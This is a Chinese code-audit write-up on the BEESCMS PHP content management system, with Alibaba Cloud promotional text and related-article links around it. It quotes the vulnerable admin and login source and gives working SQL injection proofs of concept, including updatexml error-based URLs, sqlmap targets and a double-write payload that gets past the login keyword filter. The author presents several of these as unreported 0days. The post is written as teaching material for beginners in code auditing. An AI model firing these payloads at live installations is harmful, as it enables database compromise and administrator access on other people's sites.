某CMS代码审计(上)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 某CMS代码审计(上)

前言

大概几个月前想把自己电脑恢复一下出厂设置,然后在电脑上看看有什么需要备份的,忽然看到这个最初学习代码审计的时候下载的cms,想了想当初好像也就随便看了下,所以这次想完整的把该cms审计一遍,然而想法虽好,在我通读了一些该cms的代码后,发现还是工作量太大,所以我改为通过工具自动审计,然后人工判断,然后在看来大概60条语句后,发现审计欲望已经消失了,然后就一直搁置住了,最近看到当初记录的漏洞点,所以总结一下,看看能不能给新手入门代码审计带来一点帮助。文中有几处后台的sql注入点,网上应该是没有记录的,算个小0day吧,自己也懒的写报告提交到漏洞平台,师傅们可以提交到CNVD平台换点原创积分。


CMS下载地址

https://github.com/itfooter/beescms


安装

利用phpstudy的集成环境,把cms放在www目录下,访问install目录根据提示进行安装即可

640.png

审计过程

首先,审计一个cms需要对代码做一个简单的通读,简单通读后我们就可以了解到该cms是否采用一些全局的防护措施,这样后续代码审计我们就采用相对应的绕过思路。首先来看看index.php这个文件。

<?php
/**
 * $Author: BEESCMS $
 * ============================================================================
 * 网站地址: http://www.beescms.com
 * 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
 * 不允许对程序代码以任何形式任何目的的再发布。
 * ============================================================================
*/
//if(!file_exists("data/install.lock")||!file_exists("data/confing.php")){header("location:install/index.php");exit();}
define('CMS',true);
require_once('includes/init.php');
require_once('includes/fun.php');
require_once('includes/lib.php');
if(file_exists(DATA_PATH.'index_info.php')){include(DATA_PATH.'index_info.php');}//首页配置缓存
$lang=isset($_GET['lang'])?$_GET['lang']:'';
$index_lang='';//默认首页语言
if(!empty($lang_cache)){
 foreach($lang_cache as $k=>$v){
   if($_index['index_lang']==$v['id']){
    $index_lang = $v['lang_tag'];
  }
 }
}
//语言是否使用
if(!empty($lang)){
  $is_lang_use=0;
  if(!empty($lang_cache)){
  foreach($lang_cache as $k=>$v){
     if(($lang==$v['lang_tag'])&&!empty($v['lang_is_use'])){
      $is_lang_use=1;//已经使用
    }
   }
  }
  if(empty($is_lang_use)){
    $lang = $index_lang;
  }
}
if(($lang == $index_lang)&&empty($_index['flash_is'])){
  header("HTTP/1.1 301 Moved Permanently");
  header("Location: index.php");
}
//开启flash
if(!empty($_index['flash_is'])&&empty($lang)){
  $lang = $index_lang;
  $fl_file=(IS_MB)?CMS_PATH.'template/flash_phone.html':CMS_PATH.'template/flash.html';
  if(!$fl_file){die($language['msg_info']);}
  if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language
  if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目
  //默认首页语言网站配置
  $_confing=get_confing($lang);
  $tpl->template_dir=TP_PATH.'/';
  $tpl->template_lang=$lang;
  if($_confing['is_cache']){
    $tpl->template_is_cache=1;//缓存
    $tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒
  }else{
    $tpl->template_is_cache=0;
  }
  $tpl->display('flash');
//关闭flash引导页  
}else{
//载入语言页
  $lang = empty($lang)?$index_lang:$lang;
  if(!empty($lang_cache)){
    foreach($lang_cache as $l_k=>$l_v){
      if($l_v['lang_tag']==$lang){
      $lang_name=$l_v['lang_name'];
      break;
      }
    }
  }
  if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language
  if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目
  //网站配置文件
  $_confing=get_confing($lang);
  $index_focus="focus";
  //获取第一个关键词作为相关内容调用
  $key_arr = empty($_confing['web_keywords'])?'':explode(',',$_confing['web_keywords']);
  $relave_key = $key_arr[0];
  //指向首页
    $tpl->template_dir=(IS_MB)?TP_PATH.$_confing['phone_template'].'/':TP_PATH.$_confing['web_template'].'/';
    $tpl->template_lang=$lang;
    if($_confing['is_cache']){
      $tpl->template_is_cache=1;//缓存
      $tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒
    }else{
      $tpl->template_is_cache=0;
    }
    $tpl->display('index');
}
?>

可以看到这里包含了三个文件

640.png

而这三个文件中的fun.php是一些自己定义的函数,其中就就包含一些防注入的函数,而这个函数很有可能就是全局防护中所使用到的函数。

640.png

知道该cms采用了什么的全局防护,接下来我们就可以利用Seay审计工具做一个全局的自动审计了。

640.png

不过建议时间充裕的情况下还是自己做一个全局的代码通读,这样对自己代码审计能力的提升也相对较大。本文只是对前60条语句做了个简单的判断,有兴趣的师傅可以自己再去做一个深入的审计。


两类不同错误导致SQL注入

第一类错误---未使用单引号包裹导致sql注入

第一处后台admin目录下的admin_ajax.php文件

<?php
/**
 * $Author: BEESCMS $
 * ============================================================================
 * 网站地址: http://www.beescms.com
 * 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
 * 不允许对程序代码以任何形式任何目的的再发布。
 * ============================================================================
*/
define('IN_CMS','true');
include('init.php');
$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];
$lang = $_REQUEST['lang'];
$value=$_REQUEST['value'];
if($action=='lang_tag'){
  if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){
    echo "<span class='err'>只能使用小写字母或数字</span>";
    exit;
  }
  $sql="select id from ".DB_PRE."lang where lang_tag='".$value."'";
  $num=$GLOBALS['mysql']->fetch_rows($sql);
  $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";
  die($str);
}
//排序
elseif($action=='order'){
  $table=$_REQUEST['table'];
  $field = $_REQUEST['field'];
  $id = intval($_REQUEST['id']);
  $sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
  echo $sql;
  $GLOBALS['mysql']->query($sql);
  //更新缓存
    if($table=="lang"){  
      $sql="select*from ".DB_PRE."{$table} order by {$field} desc";
      $rel=$GLOBALS['mysql']->fetch_asc($sql);
    $cache_file=DATA_PATH.'cache/lang_cache.php';
    $str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";
    }elseif($table=="channel"){
      $sql="select*from ".DB_PRE."{$table} order by {$field} desc";
      $rel=$GLOBALS['mysql']->fetch_asc($sql);
      $cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
      $str="<?php\n\$channel=".var_export($rel,true).";\n?>";
    }
    creat_inc($cache_file,$str);
}
//判断频道标示
elseif($action=='check_channel'){
  if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){
    echo "<span class='err'>只能使用小写字母或数字</span>";
    exit;
  }
  $sql="select id from ".DB_PRE."channel where channel_mark='{$value}'";
  $num=$GLOBALS['mysql']->fetch_rows($sql);
  $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";
  die($str);
}
elseif($action=='check_table'){
  if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){
    die("<span class='err'>只能使用小写字母或数字</span>");
    exit;
  }
  $sql="show tables";
  $tables=$GLOBALS['mysql']->show_tables();
  $table=DB_PRE.$value;
  if(in_array($table,$tables)){
    $num=1;
  }
  $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";
  die($str);
}
//开启关闭
elseif($action=='is_show'){
  if(!check_purview('pannel_edit')||!check_purview('form_edit')){return false;}
  $id = intval($_REQUEST['id']);
  $table = $_REQUEST['table'];
  $field = $_REQUEST['field'];
  $order = $_REQUEST['order'];
  $value=empty($value)?1:0;
  $sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
  $GLOBALS['mysql']->query($sql);
  //更新缓存
  if($table=="channel"){
      $sql="select*from ".DB_PRE."{$table} order by {$order} desc";
      $rel=$GLOBALS['mysql']->fetch_asc($sql);
      $cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
      $str="<?php\n\$channel=".var_export($rel,true).";\n?>";
      creat_inc($cache_file,$str);
  }elseif($table=='form'){
      $form_file=DATA_PATH.'cache_form/form.php';
      $rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."form order by id desc");
      $cache_str="<?php\n\$form=".var_export($rel,true).";\n?>";
      cache_write($form_file,$cache_str);
  }
  if(empty($value)){
  $class="qi_yes";
  $title="开启";
  }else{
  $class="qi_no";
  $title="关闭";
  }
  $data="<span onclick=\"click_show(this,'{$value}','{$id}','channel','is_disable','{$lang}','channel_order');\" class=\"{$class}\" title=\"{$title}\">&nbsp;</span>";
  die($data);
}
//删除图片
elseif($action=='del_pic'){
  $file=CMS_PATH.'upload/'.$value;
  @unlink($file);
  die("图片成功删除");
}
//修改图片alt
elseif($action=='change_pic_alt'){
  $id= intval($_REQUEST['id']);
  $val = $_REQUEST['val'];
  if(empty($id)){die(0);}
  $val_sql=empty($val)?"pic_alt=''":"pic_alt='".$val."'";
  $sql="update ".DB_PRE."uppics set ".$val_sql." where id=".$id;
  $mysql->query($sql);
  die($id);
}
//其它操作
else{
  die('没有参数');
}
echo PW;
?>

首先看到11-15行代码

640.png

这里包含了一个init.php文件,然后下面是用$_REQUEST的方法接收的参数,那我们跟进init.php文件,看看init.php文件是怎么写的。

640.png

其中大多是一些初始化和一些常量,箭头所指可以看到又包含了INC_PATH常量下的fun.php文件,而下面调用了addsl这个函数,这里的INC_PATH常量是includes这个目录,我们可以更具之前简单的代码通读了解到或者直接echo一下,那我们再去看看fun.php这个函数。

640.png

在includes目录下找到fun.php可以看到正是我们之前简单通读index.php所了解到的防注入函数。了解到代码使用了什么防护手段,我们再来看看漏洞产生的地方。

在admin_ajax.php文件的第27-46行

640.png

可以知道我们自定义的fun.php里面的adds1是调用addslashes这个函数。addslashes函数会对我们用户输入的单引号转义,但是此处利用$_REQUEST接收过来的field参数在写入$sql变量的时候并为被单引号包裹,这里是一个update语句,所以我们可以构造如下poc绕过。

http://192.168.178.1/beescms/admin/admin_ajax.php?action=order&table=admin&field=admin_password=123456%20or%20updatexml(1,concat(0x23,database()),1)%20where%20id=193--+

640.png

同类未被单引号包裹问题还存在如下多出地方

admin目录下的admin_book.php文件的88-104行

640.png

sqlmap构造如下poc

http://192.168.178.1/beescms/admin/admin_book.php?action=del&lang=cn&id=1*&nav=main&admin_p_nav=main_info

sqlmap结果

640.png

插一嘴,像这几个注入点都是update、delete这种对义务比较铭感的语句,大家在正常业务的洞的时候,上sqlmap是会给业务数据带来巨大伤害的,这里是本地搭建的环境,所以sqlmap随便乱跑。

admin目录下的admin_catagory.php文件的150-165行

640.png

跟踪一下$parent参数

在admin_catagory.php文件的第16行

640.png

还是无其他特殊处理

构造poc如下

http://192.168.178.1/beescms/admin/admin_catagory.php/beescms/admin/admin_catagory.php?action=child&parent=4'&channel_id=2&lang=cn&nav=main&admin_p_nav=main_info

因为好早之前审计的,没有保存截图,所以这里就只简单证明下漏洞存在,不再一一上sqlmap了。

640.pngadmin目录下的admin_channel.php文件的210-238行


640.png

跟踪$cate_id参数在第143行代码处

640.png

构造poc如下

http://192.168.178.1/beescms/admin/admin_channel.php?action=del_channel&step=3&id=-9&cate_id=1%27&nav=main&admin_p_nav=main_info%20%20%20%20%20%20#sql%E6%B3%A8%E5%85%A5

640.png

上述的sql注入问题都是未被单引号包裹导致的addslashes函数被绕过,接下来就是另外一类问题导致的sql注入。

第二类错误---错误使用防注入函数导致sql注入问题

该注入点在admin目录下的login.php文件

如下是login.php文件代码

<?php
/**
 * $Author: BEESCMS $
 * ============================================================================
 * 网站地址: http://www.beescms.com
 * 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
 * 不允许对程序代码以任何形式任何目的的再发布。
 * ============================================================================
*/
@ini_set('session.use_trans_sid', 0);
@ini_set('session.auto_start',    0);
@ini_set('session.use_cookies',   1);
error_reporting(E_ALL & ~E_NOTICE);
$dir_name=str_replace('\\','/',dirname(__FILE__));
$admindir=substr($dir_name,strrpos($dir_name,'/')+1);
define('CMS_PATH',str_replace($admindir,'',$dir_name));
define('INC_PATH',CMS_PATH.'includes/');
define('DATA_PATH',CMS_PATH.'data/');
include(INC_PATH.'fun.php');
include(DATA_PATH.'confing.php');
include(INC_PATH.'mysql.class.php');
if(file_exists(DATA_PATH.'sys_info.php')){
include(DATA_PATH.'sys_info.php');
}
@header("Content-type: text/html; charset=utf-8"); 
$mysql=new mysql(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,DB_CHARSET,DB_PCONNECT);
session_start();
$s_code=empty($_SESSION['code'])?'':$_SESSION['code'];
$_SESSION['login_in']=empty($_SESSION['login_in'])?'':$_SESSION['login_in'];
$_SESSION['admin']=empty($_SESSION['admin'])?'':$_SESSION['admin'];
if($_SESSION['login_in']&&$_SESSION['admin']){header("location:admin.php");}
$action=empty($_GET['action'])?'login':$_GET['action'];
if($action=='login'){
  global $_sys;
  include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
  global $submit,$user,$password,$_sys,$code;
  $submit=$_POST['submit'];
  $user=fl_html(fl_value($_POST['user']));
  $password=fl_html(fl_value($_POST['password']));
  $code=$_POST['code'];
  if(!isset($submit)){
    msg('请从登陆页面进入');
  }
  if(empty($user)||empty($password)){
    msg("密码或用户名不能为空");
  }
  if(!empty($_sys['safe_open'])){
    foreach($_sys['safe_open'] as $k=>$v){
    if($v=='3'){
      if($code!=$s_code){msg("验证码不正确!");}
    }
    }
    }
  check_login($user,$password);
}
elseif($action=='out'){
  login_out();
}
?>

可以发现login.php文件中未包含init.php文件,所以未引用adsl函数来防注入,但是在登录处的地方做了如下处理。

43-44行

640.png

调用了fl_value函数,然后再调用了fl_html函数,跟一下这两个函数,来到fun.php文件,如下。

function fl_value($str){
  if(empty($str)){return;}
  return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
  return htmlspecialchars($str);
}

可以看到fl_value函数过滤了一些sql注入的关键字,fl_html调用了htmlspecialchars函数。然后我们再看看在哪里判断登录了。

第59行

640.png

跟一下check_login这个函数,在fun.php中

640.png

这里可以看到存在一个判断用户是否存在,可以看到这里的$user参数虽然被单引号包裹住了,但是我们回想一下之前的防注入的函数,利用preg_replace过滤了一些关键字如下

/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file

而preg_replace这个函数也是非常危险的,我们可以利用一些双写的操作进行绕过,然后是htmlspecialchars函数,但是htmlspecialchars函数的作用我们可以看看

640.png

它并不会对单引号做出过滤,所以我们还是可以自行输入单引号来闭合语句

所以我们在用户名处构造如下poc

admin' a and nd  updatexml(1,concat(0x7e,database(),0x7e),1)#

640.png

这些如是一些sql注入上的漏洞,当然这个cms还存在许多其他问题,下在再一起写

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
存储 安全 Shell
国外某cms代码审计实战
国外某cms代码审计实战
131 0
|
安全 小程序 PHP
PHP代码审计(七)Rips源代码审计系统使用教程
上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
320 0
|
安全 小程序 PHP
PHP代码审计(五)PHP代码审计方法与步骤
(1):获取到网站源码(这就是废话……) (2):将网站部署到你自己的环境中,能运行。 这里特殊说明一下我的习惯,我本地的环境与线上的环境基本上保持一致,这样在本地审计及线上部署的时候能发现更多的问题。不建议说是随便搭个环境能跑起来就行,这样不是很严谨。 (3):拿到源码之后,浏览大概的项目结构。
134 0
|
Shell PHP Windows
PHP代码审计(四)PHP文件操作函数(2)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
83 0
|
安全 Unix Shell
PHP代码审计(四)PHP文件操作函数(1)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
74 0
|
安全 小程序 PHP
PHP代码审计(六)Seay源代码审计系统使用教程
www.cnseay.com/ 当然,这个已经不能访问了。 软件的版本比较早,需要.NET framework3.5框架,我这里是软件启动的时候自动提醒安装,如果没有自动提醒,那么你需要手动安装.NET frameWork3.5框架,否则,程序应该是没有办法运行。
1191 0
|
6月前
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
|
7月前
|
PHP
【攻防世界】easyphp(PHP代码审计)
【攻防世界】easyphp(PHP代码审计)
|
XML 开发框架 .NET
代码审计之PHP基础铺垫
代码审计之PHP基础铺垫
92 0
|
小程序 Shell PHP
PHP代码审计(四)PHP文件操作函数(3)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
57 0